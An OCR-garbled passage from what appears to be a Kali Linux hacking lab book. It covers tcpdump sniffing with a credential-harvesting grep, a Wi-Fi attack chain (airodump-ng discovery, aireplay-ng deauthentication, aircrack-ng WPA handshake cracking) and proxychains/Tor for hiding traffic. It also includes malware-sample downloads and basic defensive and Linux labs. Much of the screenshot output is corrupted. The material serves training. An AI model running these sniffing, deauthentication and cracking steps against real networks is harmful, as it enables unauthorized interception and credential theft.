}5:94ed:baBb:blaa:2.36136 > 2aB0:1450:488b:cB1: :5e. B:

6 2a0l1:b340:60:6485:94ed:baBb:blaa:2.36134 > 2a00:1450:400b:c01: :5e.88:

8407]

We then use the -c parameter, which will help us to capture the exact amount
of data that we need and display them. It refines the amount of data we
captured:

tcpdump -n -i wlan0 -c 5

Task 3:
We can also get the ethernet header (link layer headers) by appending
the command above. This will look like the following:

tcpdump -n -e -i wlan0



- -

wlane <& _"'®

tcpdunp UPrbOSE output suppressed, use -v or -vv for full protocol decode
llftpnlanuu_vlanﬂ Llink-type EN16MB (Ethernet), capture size 262144
D5:40: 87’_5441_194 ed4:ba:8b:bl:ab > 01:80:c2:00:00:00, 802.3, length

ne], brildge-id Buuu.dJ.eJ.ba.Bb.bl.ﬂ.a{-}m, length 35

05:460:64.284131 94:e4:ba:8b:bl:ab >\P1:80:c2:00:00:00, 802.3, length
ne], bridoe-id 8066 94:e4:ba:8b:bl: d\ 8063, length 35

05:40:+5 251074 31 c4.ha:8b:bl:ab > h\ 80:C2:08+€F £J, 82

ne], bridge-id B8000.94:e4:ba:8b:bl:aa.5F= Length 35

D5:460:08.283899 94:e4:ba:8b:bl:ab > 01:80:¢c2:00:00:00, 802.3, length 3
nc] hr1dgc id BBBD 94 L4 ba Bb bl: aa. Ell:lf‘l‘-r 1nngth 35

Task 4:

The verbose mode provides information regarding the traffic scan. For example, time to live (TTL),
identification of data, total length, and available options in IP packets. It enables additional packet
integrity checks such as verifying the IP and ICMP headers. To get extra information from our scan, we
need to use -v parameter.

tcpdump -n -i ethQ -v

Task 5:
We can also use tcpdump to filter packets based on several expressions. If we
want to view only TCP packets, we can use the following command:

tcpdump -n tcp

use=~v vy for f
1nF t,pF erUHP (L=hernet), [dptureﬁil.r 62144 bytes
: J.lﬁgEﬁd IP 192.168.71.128 53328 > 94.31.29.32.443: Flags [P.], seq 1961480175:196
.489639 IP 192.168.71.128.38274 > 13.32.173.208.443: Flags [P.], seq 2615555930:2
.489668 IP 94.31.29.32.443 > 192.168.71.128.53328: Flags [.], ack 46, win 64248,
3.4898085 IP 13.32.173.208.443 > 192.168.71.128.38274: Flags [.], ack 39, win 64240
3.498220 IP 192.168.71.128.38274 > 13.32.173.208.443: Flags [P.], seq 39:63, ack 1
.490286 IP 192.168.71.128.38274 > 13.32.173.2688.443: Flags [F.], seq 63, ack 1,
.u?UJlﬁ IP 192.168.71.128.53328 > 94.31.29.32.443: Flags [P.], seq 46:77, ack 1
IP 13.32.173 443 > 192.168.71.128.38274: Flags [.], ack 63, :
IP 13.32.173.268.443 > 192.168.71.128.38274: Flags [.], ack 64,

AE . Af: 33 AANEE ™A 1093 160 71 190 E3390 = N4 31 90 33 449, Flam= e ] P b |

P
F
]

We can also specify to pick up DNS request packets using this command:

tcpdump -n “udp and dst port 53”



Task 6:

Tcpdump is a powerful tool when it comes to customisation. We can input a
variety of combinations of commands to gather different packets from a
network. For example, this next command will display the SSH packets
coming from one source and going to another destination.

tcpdump “src 192.168.1.28 and dst 192.168.1.1 and port ssh”

This can be especially useful if spying on a particular target on a network.
Instead of port names, direct numbers can be written here.

Task 7:

To print each packet in ASCII code, we need to use “-A” parameter. This
next command is an example of using grep with tcpdump to help it only
display information we deem to be important.

tcpdump -n -i ethO -A | grep -e “POST”

This command will begin gathering all packets using tcpdump, and we then
use grep to find and display all POST requests to us. This is an example of
how tcpdump can be used in a creative fashion to display detailed
information about the network.



Task 8:

In tcpdump, we can write and read into a “.pcap” extension file. “-w’
parameter allows us to write raw data packets that we have as an output to a
standard pcap file. This created pcap file can then be re-examined with
tcpdump by using “-r” parameter, or imported to Wireshark tools which runs
on another machine if desired, and a filter can be applied on it.

5

In the example below, we save the packages captured by the ethO interface in
the first line to the specified pcap file. In the second line, we do an analysis
by reading this recorded file without real-time monitoring:

tcpdump -n -i ethO -w sess01.pcap
tcpdump -n -r sessO1.pcap | more

Task 9:

Finally, we will attempt to capture usernames and passwords submitted
through a http form from a device on the network. We will use the following
command to do this:

tcpdump port http or port ftp or port smtp or port imap or port pop3 -1 -A | egrep -i
‘pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|p
luser ¢ --color=auto --line-buffered -B20

This command will search for any usernames or passwords communicated
with known protocols over the network. We can test this out by first
executing this command and then visiting the following webpage:

http://testphp.vulnweb.com/login.php


http://testphp.vulnweb.com/login.php

With the command above running in the background, submit a random
username and password through this form. Then, return to the terminal and
you will find the username and password captured there.




Lab 52. How to Discover Nearby
Wi-Fi Networks with Airodump-ng

Lab Objective:
Learn how to discover nearby Wi-Fi networks with Airodump-ng.

Lab Purpose:
Airodump-ng is a part of the Aircrack-ng set of utilities for analysing Wi-Fi
networks for weaknesses. It is mainly used for Wi-Fi discovery.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

Airodump-ng comes pre-installed on Kali. You will need a wireless card
which is capable of being put into “monitor mode” to complete this lab. In this
lab, we will use an Alfa network card for this purpose. There are numerous
Wi-Fi adapters on market which are supports Wi-Fi hacking. In this page,
you can find some of them: https://www.ceos3c.com/security/best-wireless-
network-adapter-for-wifi-hacking-in-2019/



https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/

Wireless Adapters for Hacking

For beginners, the guide will essentially center on Kali Linux and a round-up on a few adapters out

@ found in the Ceos3c Amazon Store (amongst many other Hacking Goodies!) for

(My new favorite as of Mai 2020!)

We will begin this lab by first connecting our wireless network card to our
Kali machine. Once the network card is connected, we can use airmon-ng to
show us the available network cards which will work with the Aircrack-ng
tools by using this command:

sudo su -
airmon-ng

® = @
J . — —
——————

PHY Interface Driver Chipset

phy® wlang® ath9k htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to then place this card into monitor mode using the following
command:

airmon-ng start wlan0



m =
g 1 start 'n'ltlnﬂ'i'__f__?_—_' @

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill®' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
498 NetworkManager
1973 wpa supplicant

PHY Interface Driver Chipset
phyé wlanB ath9k htc Qualcomm Atheros Communications ARS271 862.11n

(mac86211 monitor mode vif enabled for [phy@]wlan® on [phy©]wlanémon)
(mac88211 station mode vif disabled for [phy@]wlan@)

This will allow our network card to intercept nearby Wi-Fi packets.

We can confirm that our network card is in monitor mode by executing the
following command:

ifconfig

5

You will note that the interface now has a “mon” after its name; “wlanOmon’
in this instance.

wlan@mon: flags=4163<UP, BROADCAST,RUNNING,MULTICAST> mtu 1560
unspec 88-C8-CA-98-8E-D3-00-EF-60-00-80-60-60-00-808-686 1:qUFUF1Fn 1868 (UNSPEC)
RX packets 718 bytes 157099 (153.4 KiB)

RX errors @ dropped 718 overruns @ frame @
TX packets 8 bytes @ (8.8 B)
TX errors @ dropped © overruns @ carrier 8 collisions 8

Task 2:
Once the above task is done, we can then start airodump-ng and discover
nearby Wi-Fi networks using the following command:

airodump-ng wlanOmon

This will start the airodump-ng tool and it will begin searching for nearby
Wi-Fi networks.



CH [ Elapsed: lfi@)ﬁ 1l 2021-82-17 11:25 [0) ©)

BSSID PWR Beacons #Data, #/s5 ( B ENC CIPHER AUTH ESSID

94:E4:BA:8B:B1:AB -49 g & £ WPA2 CCMP  PSK
50 | i B : P2 CH PSK
-82 7 : i APA CH PSK |15
.87 2 B 6 IPA2 CCM PSK eir52

-B7 3 8 8 i ( MGT  eir WiFi

STATION WR ames Notes Probes

1. Shows us MAC address of detected Access Points.

2. Signal power level also tells target device distance from our
Wi-Fi antenna. Higher numbers indicate better signal.

3. Channel number on which target APs are running

4. The encryption methods that targets are using.

5. If the target AP advertises themselves with a name, we can see
it in this section.

6. MAC address of connected clients to various AP stations.
MAC address of various client devices that are connected to APs
around.

Task 3:
Once your target network has been found, we can stop the search by hitting
ctrl + c on the keyboard.

We will now run airodump-ng again, but only for the target network. This
way, we can capture more information about our target network and the
clients connected to the network.

To do this, we will use the following command:

airodump-ng -c 9 --bssid 94:e4:ba:8b:81:ab -w /root/Desktop wlanmon

When you execute this command, you will then see that airodump is now
only capturing information about your target network.



CH 9 ][ Elapsed: 12 s ][ 2621-82-17 11:26 ][ fixed channel wlanémon: 4

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
94:E4:BA:8B:B1:AB -48 B 11 ;] i 9 270 WPAZ CCMP PSK <length: 6=
BSSID STATION PWR. Rate Lost Frames MNotes Probes

94:E4:BA:BB:B1:AB AC:AF:B9:50:18:62 -32 g8 - le @ 1

“-bssid” is used to specify the BSSID MAC address of a target machine.
“-w” is used to specify the location where our files are going to be
written.

“-c” is used to specify the target channel number.

We can see that, on the network above, there is one client connected to the
network and the number of frames that client is communicating through the
network. Keep this running state, as we will need it for the next lab where we
capture the WPA handshake file.



Lab 53. How to Capture a WPA
Handshake File Using Airodump-ng
and Aireplay-ng

Lab Objective:
Learn how to capture the WPA handshake file of a network using Airodump-
ng and Aireplay-ng.

Lab Purpose:
Airodump-ng is a part of the Aircrack-ng suite of utilities for analysing Wi-Fi
networks for weaknesses. It is mainly used for Wi-Fi discovery.

Aireplay-ng is also part of the Airecrack-ng suite of utilities. It is used to
inject frames with the goal of generating traffic for later use in Aircrack-ng
when trying to crack the WEP and WPA keys.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
This lab is a continuation of lab 52, where we discovered our target network
usig airodump-ng.

Note: you will need a wireless network card capable of being placed in
monitor mode to complete this lab.



We will be using the tool aireplay-ng for this lab. You can view the help
screen for this tool by typing the following:

aireplay-ng --help

With airodump-ng still running from the previous lab and capturing
information from our target network, open a new Kali terminal screen. Then,
type the following command:

aireplay-ng -0 2 -a 94:E4:BA:8B:B1:AB -c 48:E1:E9:28:7A:AD wlanOmon

This command will tell the aireplay tool to deauthenticate the specified client
from our target network. This will kick the client from the network. While
this is happening, airodump-ng, which should still be running, will be
listening for when the client attempts to connect back to the network. When
the client does this, it will transmit the network password in encrypted form.
We will be attempting to capture this encrypted password.

YL <—0®
2 94:E4:BA:BB:B1:AB 48:E1:E9:28:7A:AD wlanbmon <g—
:28:33 Hdlung for beacon frame (BSSID: 94:E4:BA:8B:B1:AB) on channel :I

:28:34 Sending 64 directed DeAuth (code 7). STMAC: [48:E1:E9:28:7A:AD] [22|66 ACKs]
:28:35 Sending 64 directed DeAuth (code 7). STMAC: [48:E1:E9:28:7A:AD] [308|68 ACKs]

As you can see from the screenshot above, aireplay is broadcasting
deauthentication packets to the target network, telling it to kick the specified
client from the network. Thus, since the re-authentication process will take
place, we would have caught a lot of valuable packages.

Task 2:

Return to the window where airodump-ng is still running. If this attack
worked correctly, you will notice in the top right of the window that there is
now a section which shows you the captured WPA handshake.

CH 9 ][ Elapsed: 3 mins ][ 2021-82-17 11:29 ][ WPA handshake: 94:E4:BA:8B8:B1:AB

BSSID WR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID




Keep this information for the next lab, where we will cover how to crack this
WPA handshake and obtain the password in cleartext.



Lab 54. How to Crack WPA
Handshake Files Using Aircrack-ng

Lab Objective:
Learn how to crack a WPA handshake file using Aircrack-ng.

Lab Purpose:

Aircrack-ng is a set of utilities for analysing Wi-Fi networks for weaknesses.
It can be used to monitor Wi-Fi security, capture data packets, and export
them to text files for additional analysis.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

This lab is a continuation of lab 53, where we managed to capture the WPA
handshake for our target network. In this lab, we will now attempt to crack
this WPA handshake and obtain the cleartext password for the network.

To begin, first locate the file containing the captured WPA handshake. If you
followed the steps in lab 53, this file will be located in the home directory of
“root” user and will be called “Desktop-01.cap”. This is the file we will be
cracking.

We will be using the tool aircrack-ng for this lab. We can view the help
screen for this tool by typing the following:



aircrack-ng --help

Task 2:

We will not need any wireless interface card for the next steps as this process
involves using your machine’s resources in an attempt to crack the password
encryption. We can attempt to crack the password using the following
command:

aircrack-ng -a 2 -b 94:E4:BA:8B:B1:AB -w /usr/share/wordlists/rockyou.txt /root/Desktop-01.cap

Let’s break this command down:

e -ais the method Aircrack will use to crack the handshake. 2
means that the file is encrypted with WPA encryption

e -bis the BSSID of the target network

e -w is the wordlist we will use to attempt to crack the handshake
file (if it is compressed, gunzip first before use)

The following screenshot is what our full command looks like:

94 :E4:BA:BB:B1:AB Jusr/share/wordlists/rockyou.txt /root/Desktop-@81.cap

Hit enter when you have this command typed out. Our screen will clear, and
we will be presented with the aircrack-ng screen as it attempts to crack the
handshake file (Desktop-01.cap). We have used the “rockyou.txt” file as our
wordlist, so Aircrack will now attempt over 14 million passwords against the
captured handshake file. This is a dictionary attack. Depending on the
resources available to your machine, this attack may take a while to complete.



[e0:00:00]

Time left:

EE 51 88
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You can find many ready-to-crack cap files on dictionaries in aircrack’s
github repositoy:

https://github.com/aircrack-ng/aircrack-ng/tree/master/test



https://github.com/aircrack-ng/aircrack-ng/tree/master/test

Lab 55. Using Proxychains for
Anonymous Hacking

Lab Objective:
Learn how to use proxychains for anonymous hacking.

Lab Purpose:

Proxychains is an open-source software which comes pre-installed in Kali
Linux. This is a useful tool for redirecting TCP connections through proxies
such as SOCKS4, SOCKSS5 and Tor. It allows us to chain proxy servers
together for the purpose of hiding the source address of our traffic and
evading IDS and Firewalls.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
While proxychains comes pre-installed in Kali, you should run the following
command to ensure it is the most up to date version before beginning this lab:

sudo su —
apt install proxychains

Once this is done, we can view the help screen for the tool by typing the
following command:

proxychains --help



Usage: - yrogram_name [arguments]

werrides the config setting
to i f ifigfile to use
for example : proxychains telnet somehost.com

More help im README file

Task 2:

In this lab, we will be using proxychains to redirect our traffic through Tor.
Tor works by bouncing our traffic around a number of servers, using the
proxychain software in Kali, which helps keep our IP address anonymous.
We can download the Tor software in Kali using the following command:

apt install tor

Task 3:

The next step is to edit the proxychain’s configuration file so that we specify
to the tool that we want to redirect our traffic through Tor. To do this, we
must first open the config file with the nano editor:

nano /etc/proxychains.conf

Once the file is open, we want to enable some functionality in the tool by
removing the # at the beginning of that line. To disable some functionality,
we can add a # at the beginning of that line.

1. First, we want to look for the line with “dynamic_chain” and
enable this by removing the #.

2. Next we want to look for the line with “strict_chain” and
disable it.

3. Then, look for the line with “proxy_dns” and enable it.

4. Finally, go to the very bottom of the file and change “Socks4”
to “Socks5” in the last line: “Socks5 127.0.0.1 9050”

Once these changes are made, save the changes and close the file. Then, type



this command:
grep -v “A\#” /etc/proxychains.conf

Here is a screenshots of my config file, so you can see what the final
configurations should look like:

xvchains.conf

dynamic_chain

proxy_dns

tcp_read _time _out 15000
tcp_connect_time_out 8000

[ProxylList

127.

Task 4:
Open a terminal in Kali and type the following to start and check status of
the Tor service:

service tor start
service tor status

Y i afm—

tor status <

¢ tor.service - onYy v network for TEF (multi-instance-master)
: r H dL=:b1Fd; dﬂr preset: disabled)

"raTu 5=0/SUCCESS)

Main PID 5411 (code=exited, status=0/SUCCESS)

Feb 18 ©7:17:55 kali systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...

Feb 18 ©87:17:55 kali systemd[1]: Finished Anonymizing overlay network for TCP (multi-instance-master).




First of all, let’s determine our IP address before using a proxy. Open a
browser and navigate to this site:

https://dnsleaktest.com

Then, close the browser and run the following command on the terminal
screen:

proxychains firefox https://dnsleaktest.com

This site will test our setup and show you your current location and the
servers your traffic is flowing through. The location should not be in our
home country!

DT b
Test complete 9) S Sarpes |
Query round Progress. .. servers found Hello 23.106. == @
L e 4 frvmy London, United Kingdom &8
ﬂ‘ﬂ‘_ﬂ
B ; T it i # i
Hello 185.191. Lo o '
< from, :
P 3
R v Q)
a —
17221 Groningen, Metheriands —
Standard test Extended test
172.21; P — @,,-' Groningen, Netherlands =
172 21 =ris —— —rr— Netherlands
173.194.170.79 Mone Google Groningen, Netherlands
Task 5:

Similar to browser usage, we can collect information anonymously by typing
the proxychains command in front of other commands:

proxychains whois example.com


https://dnsleaktest.com/
https://dnsleaktest.com/

COM-VRSN




L.ab 56. How to Use MD5
Checksums to Determine if a File
Contains Malware

Lab Objective:
Learn how to use MD5 checksums to determine if a file contains malware.

Lab Purpose:

MD5 checksums are often used in the malware community as a means of
determining if a file contains malware, and, if so, what kind of malware it
contains.

Lab Tool:
Windows

Lab Topology:
You can use a Windows and Kali Linux machine for this lab.

Lab Walkthrough:

Task 1:
The first step to finding the MD5 checksums of a file is to download the
Hashtab tool via the following link:

http://implbits.com/products/hashtab/

This tool will calculate the MD5 checksum for every file on our PC. We are
able to view these checksums by right-clicking on a file and selecting
Properties. Once you have this tool installed, you will notice a new tab on
this window called File Hashes, where we can view the different hashes for


http://implbits.com/products/hashtab/

this file. Download the free tool from the link above before moving on to the
next steps.

Task 2:

Once we have this tool installed, we can begin checking files on our
Windows machine to determine if they contain any malware. To do this, we
will right-click on a target file, select properties, and, in the new window that
pops up, click on the File Hashes tab.

Here, we can view the CRC32, MD5, and SHA1 hash for the file in question.

¥ Capture.PNG pm%—\——; o .

General Fie Hashes “SEEUnty Detals Previous Versions

Hash Value
B e R
DS BIADGES468SSEF4CIIEDIISEDGAT.. |
SHAT 107508245E93F C 2FCD196617990744

Task 3:
This program can also support some other hash mechanisms. Now, let’s add
SHA-256 and SHA-512 support to our program.
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Task 4:
Open a random file, then right-click on the MD5 hash and copy it to your
clipboard.
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Once this is done, navigate to the following site:

https://www.virustotal.com/gui/home/search

Paste the hash file into the search box here and hit enter. This site will now
run the MD5 hash through a number of different Antivirus libraries
containing the most common MD5 checksums for known malware.

If we picked a random file from our PC, we likely receive no response from


https://www.virustotal.com/gui/home/search

the webpage, indicating that there is no malware in the file selected.

> ] VIRUSTOTAL

@) No matches found V

FiL Are you looking for advanced malware searching
capabilities? VT Intelligence can help, learn more.

ARCH

BIADSAS46855EF 420 33EDIISEDSATE2S F:— Press enter

By submefling data above, you e agrecng o our ferrms of Sensce and Privacy Policy, and 1o the
sharing of your Sarmple submission with the security community. Plesse do not submil smy personal o |
rfcrmation: VirusTotal 5 not responsibie for the cortents of your sulbmission, Leasrn mom .

Task 5:
Now, copy this MD5 hash below and paste it into the same search box:

9498FF82A64FF445398C8426ED63EASB

This is the MD5 checksum for a common piece of trojan malware. You will
notice a number of alerts on the webpage this time.



T

Trojan.Foreign.Gen.2

comarary I

This is an example of how to test a random file to see if it has malware. This
is also one of the first steps an Antivirus will take when scanning a fie. It will
create the MD5 Checksum of the file in question and compare it to a massive
database of known MD5 checksums of malicious files.

Task 6:
Let’s work on a real case. We will download a malware to our Kali Linux
machine and compare its MD5 hash from VirusTotal database:

First of all, let us remind you that such files are shared for educational
purposes and should not be copied to production machines.

Open a browser on your Kali machine and go to the following address:
https://dasmalwerk.eu/

Here, countless real malware is shared as zipped files for educational
purposes. Each zip file is protected with a password to prevent accidental
opening, which is by default: “infected”.

Let’s pick a random Trojan on this page; “Dropped:
Trojan.AgentWDCR.PZW?” is the one we selected. Download this file to the



“Downloads” directory on our Kali machine by clicking the download link.

DAS MALWERK // malware
S o el I | |
o U4

O

Wit sheaild Firefion do with thii M7

Malware name s S —— - Virus total information
-

Gen:Varnant Johnnde 97338
Trojan. GenenckKD 40427213
Dropped: Trojan AgemWDCR.PZW

Gen:Hewr Po aler.d @ “

Trojan. GenerickD 4043 7260

Now, we will unzip the downloaded file. Open a terminal screen then type
these commands:

cd Downloads
unzip
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbead784e.zip

When asked for a password, enter word: infected

Now, we have a malicious windows executable file. We can get more details
about this file with the “file” command:

file
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbead784e

PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed



-

Downloads <?

~/Downloads

kali kali 322560 Sep 6 : ccliafdSf+dd769c6611B8F4fSeec? FROGS55c14cfdcbe
19bbfbea&784e

—r-— 1 kali kali

ccl3afe 769¢ f & fF8 14cfdc Flb cutable (GUI)
Intel 80

Now, we will calculate the MDS5 hash of our unzipped file and query it in
VirusTotal:

md5sum
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbead784e

© ©

~/Downloads
ccl3atdS+fdd769ce6118t4F5eacT u -C.n.p‘r Selectinn

d20866c8612fcdaBeitfOde84d70ddEh b ERES

~/Downloads

Paste Clipboard

Paste Selection

Zoom in

@ Zoom out

Zoom reset




Paste this MD5 hash to VirusTotal’s query page.
https://www.virustotal.com/gui/home/search

E crliafdsffddFafosslBf afbeec P B0GEEC 14cidosedbr Sled15bbifboad Fite

1. AgentWDCR.PZW

FileRepMalware

Arcabit T TrojanAgertWDCRPZW J Dropped;Trgjan_ﬂg&hTV‘fDCRPZ‘liﬁ"
BitDesondsr v Dropped Trojan.fge '.j.\‘-'::lt'.l"ﬂ':"ﬂ'-_.' ||'I|||-|| 32_{: ommon. ?’BSS AEA 5

Y ) Maicious [core: 100 ~jous.8612fc

Now, if we find a suspicious file in our system, we know how to query if it is
harmfull. Moreover, we do not need to export this file or run an antivirus. In
databases such as VirusTotal, it is possible to query against more than one
antivirus library at once.


https://www.virustotal.com/gui/home/search

Lab 57. How to Use Process
Explorer to Find and Scan
Suspicious Processes for Malware

Lab Objective:
Learn how to use Process Explorer to find and scan suspicious processes for
malware in Windows.

Lab Purpose:

Process Explorer is a tool which is part of the Microsoft Windows
Sysinternals suite. This is a set of more than 70 free tools used to monitor,
manage, and troubleshoot the Windows operating system. Process explorer is
used as a free advanced task manager and system monitor.

Lab Tool:
Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:
The first step for this lab is to download the Process Explorer tool. This can
be done from the following link:

https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

We will use this tool to analyse the process running on our Windows
machines. I will then demonstrate how you would scan a suspicious process


https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

using VirusTotal to determine if it is malicious. Open Process Explorer and
we can begin.

Process Explorer v16.32

09/17/2020 - 2 minutes to read = =) %" i) § 0 '-”-.'

By Mark Russinovich

Published: April 28, 2020 9)

a}’u’ Download Process Explorer (2.5 MB)
Run now from Sysinternals Live [<,

Task 2:
When you first open the tool, you will see every process currently running on

your system.
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You can set the level of priority your system places on a particular process by



right clicking on the process and navigating to the Set Priority section. Be
careful when doing this, as setting a process to be considered as a low priority
when it should be a high priority process could cause performance issues in
your machine.
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Task 3:

We can search for the name of a particular process by right clicking on the
process and navigating to the Search Online section at the bottom. This will
open your default browser and search for the name of the process.
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Task 4:

If you have identified a process which looks suspicious, we can scan Virus
Total for this process to determine if it is in fact malicious. We can do this by
right clicking on the process and navigating to the Check VirusTotal section.

You will then be presented with the VirusTotal terms of service. Simply
accept the terms and this window will close.
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You may now notice that there is a new heading at the top of this tool called
Virus Total. This heading will show the number of antivirus services that
have flagged that particular process as a potential virus. Ideally, you want
every process to return as 0/74.
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As you can see from the screenshot above, I scanned the “explorer.exe”
process with Virus Total. The result returned shows that 0 out of the 74
Antivirus engines categorised this process as malicious. If a process returns
with a number of Antivirus engines flagging it as malicious, this should be

cause for further investigation.

Task 5:

If we want to check all process running on our system for potential malicious
processes, we can navigate to the top of the tool and click on the Options tab.

From here, select the VirusTotal.com tab and then select the Check

VirusTotal.com.
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This will submit the hash of every process runing on the ssystem to Virus
Total and will check for any malicioius processes.
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Task 6:

Finally, we can verify all image signatures for each process. We can do this
by navigating to the Options tab at the top of the tool and selecting the Verify
Image Signatures section.
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This is a good next step to take if you have a process which was flagged as
malicious by Virustotal, so that you can better determine if the process really
is malicious. When this is done, a new column will appear to the right, telling
you if each process image is verified or not.



Lab 58. Fundamental Linux
Concepts

Lab Objective:
Learn how to use some fundamental Linux concepts.

Lab Purpose:

Some of the fundamental Linux concepts included in this lab are: adding
users and groups, using nano, installing packages, and important files and
directories.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

The first step is to open a terminal in Kali Linux. All of the tools in this lab
are command line tools. We will begin by covering some of the most
important files and directories in this Linux OS. These files and directories
are typical locations you may want to look into when on a server or machine,
especially when in a CTF (Capture The Flag) competition.

You can navigate to any of the directories or files included in this section by
opening a terminal and typing:

cd /<directory-name>



o /tmp—This is a directory which contains temporary files which
are deleted when the machine is shut down

e /root—This is the root user’s home directory

e /usr—This is where all software is installed

e /var—This is the Linux miscellaneous directory

e /sbin and /bin—This directory stores critical executable
binaries; you should be very careful when dealing with this folder
as any changes could permenantly ruin your Linux OS

o /etc/passwd—This file stores all user information and is often
used to see all the users on a system

e /etc/shadow—This file contains password hashes of all users on
the system and is only viewable by the root user

e /etc/sudoers—this file is used to control the super user
permissions of every user on the system

e /proc, /sys, /dev—These directories are populated by the linux
kernel every time a file system is mounted.

Task 2:

This next task will cover how to add users and groups on a Linux system.
This process can sometimes be manipulated to escalate privileges on a
system. We can add users and groups using the following commands:

adduser <username>
addgroup <groupname>



super {::::::=::=======__..(:)

adduser: Only root may add a user or group to the system.

:"“p[.]-:.‘_.!.]-l:'l”] .?—T-_— @

addgroup: Only root may add a user or group to the system.

Only the root user will have permission to add users and groups, unless there
is an exploit for the system you are on. We can also add a user to a group
using the following command:

usermod -a -G <groupname> <username>

Jvar P G}
sudo kall < g

usermod: Permission denied.
usermod: cannot lock fetc/passwd; try again later. I':I.

Task 3:

We will now cover installing packages on Linux, which is very important
when installing various tools on the OS. We will be using a packet manager
called apt, which is the most popular package manager in Debian-based
Linux distros. We can install any packet on Kali using the following
command:

sudo su -
apt install <package name>
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compati y. Learn how to change this and avold thls message
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oracle-instantclient-basi

pt autorem
; @ newly 1nstalle @ to remove and 19 not upgraded.

This command, for example, will download the package from a repository
and install it before then returning to the terminal.

It is possible to run programs that require high privileges without switching
to the root user. For this, it is necessary to write “sudo” before using each
command. Kali will ask normal users for a password:

sudo apt install proxychains

In this case, we will be asked to enter the password of the logged-in “kali”
user, not the “root” user.

Task 4:

The final tool we will be covering in this lab is nano. Nano is a text editor
which is based in the terminal. We can open any file for editing by typing the
following:

nano mdb5sums.txt

You can move the cursor with the arrow keys in the nano text edit interface.
Use the ctrl + x key combination to exit nano. If you have made any changes



to the file, it will ask if you want to save it. Press Y to save and exit.

kali@kali: ~/Downloads
File Actions Edit View Help

/bin/ab
Sbin/ac
Jbin/
/bin
Sbin/




Lab 59. Linux Operations Advanced
Linux Operations

Lab Objective:
Learn how to use some basic fundamental Linux operations.

Lab Purpose:
In this lab, we will be running through some of the basic, fundamental Linux
tools. In this lab we will cover tools such as find, grep, In, cp and mkdir.

Lab Tool:
Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools. We will begin with a simple but useful tool, cp. The cp
function is an advanced file operation which mainly does the same thing as
mv, except cp will duplicate a file instead of moving it. The syntax looks like
the following:

cp md5sums.txt md5sums.txt.old



~/Downloads
md5Ssums . txt mdSsums.txt.old

~/Downloads

drwxr-xr-x 2 kali kali
drwxr-xr-x 22 kali kali
-'W-r-—-r-— kali kali
-TW-Tr—r-— kali kali

total 288
LN

Task 2:

The next tool we will be using is mkdir. This tool allows you to make a new
directory to store files in. This operation is done using mkdir and the syntax
looks like the following;:

mkdir ExamNotes examNotes

~/Downloads
ExamMotes examNotes

total 16

drwxr-xr-x
drwxr-xr-x
drwXr-Xr-X
drwxr-xr-x

Let us remind you that the Linux file system is case sensitive. In fact, in this
example, ExamNotes and examNotes are completely separate directories.

Task 3:
Suppose that we have a file and that we want to confirm that this file is the
same as the original (ie: it has not been altered in any way) using hashing.



Take the “/etc/passwd” file as an example. To make changes on this file, we
copy it to our home directory:

cp /etc/passwd ~/passwd

Now, we have a copy of the passwd file. Calculate md5 checksums of both
files:

md5sum /etc/passwd ~/passwd

md3sums . TXT

Jfetc/passwd V
/home/kali/passwd

=rw=r-—5- 10T [ biMar J 23:06 fe S pas d
-rwW-r—r— ‘3 ¢al 6| ApI 8:59 /I s /kall/passwd

As we can see, both files have same sizez and hash values. Now, let’s change
and save only one character in this cloned file:

nano ~/passwd



GNU nano 5.4 passwd *
root:x:0:@:root:/root:/usr/bin/zsh
daemon:x:1:1:d 1:/usr/sbin: /usr/sbin/nologin

.b0:games: /usr

o= s fap = J
L« (B =S VAl

bin/nologin
r/sbin/nologin

v l} II ,l'II AN . seIr'/5s i_:l 1 n .".. I D ]. |::| 'r: J. Il

ackups r/sbin/nologin

j:Ma1ling List Manager:/var/list:/usr/sbin/nologin

e Help 8 Write Outlll where Is . Bl Execute
i Exit % Read Fileg Replace [+ B Justify

In this file, we just replaced 8 with 0. Save and exit from nano. Next, let’s
compare the sizes of both files. Same size. So, what about hash values? We
have saved these values before. Let’s check it with the builtin -c parameter of
the md5sum command:

md5sum -c md5sums.txt

The output of md5sum command indicated that a cloned copy has been
changed!



-

-rw-r—r— 1 root root
=rw-r—r— 1 kali kali

md5Ssums. txt <?7—®

wd: OK
fkali/passwd: FAILED
m: WARNING: 1 computed checksum did NOT match ®

Let’s calculate the hash values of both files as follows:

E:g 637d4bf5R95d9chop7 ) Ge@Lide79c  Jetc/passwd
d56c168d93078f fb856cf29a15007926 /home/kali/passwd

A regular file on the file system, regardless of size, has a unique 32-byte
digest. That’s what we call a hash. Even if a single character changes in this
file, the entire hash value will be completely different.

Task 4:
The next tool we will cover is In. In is used in Linux for two different
purposes: hard linking and symbolic liking.

Hard linking completely duplicates the file and links the duplicate to the
original copy. This means that whatever is done to the created link is also
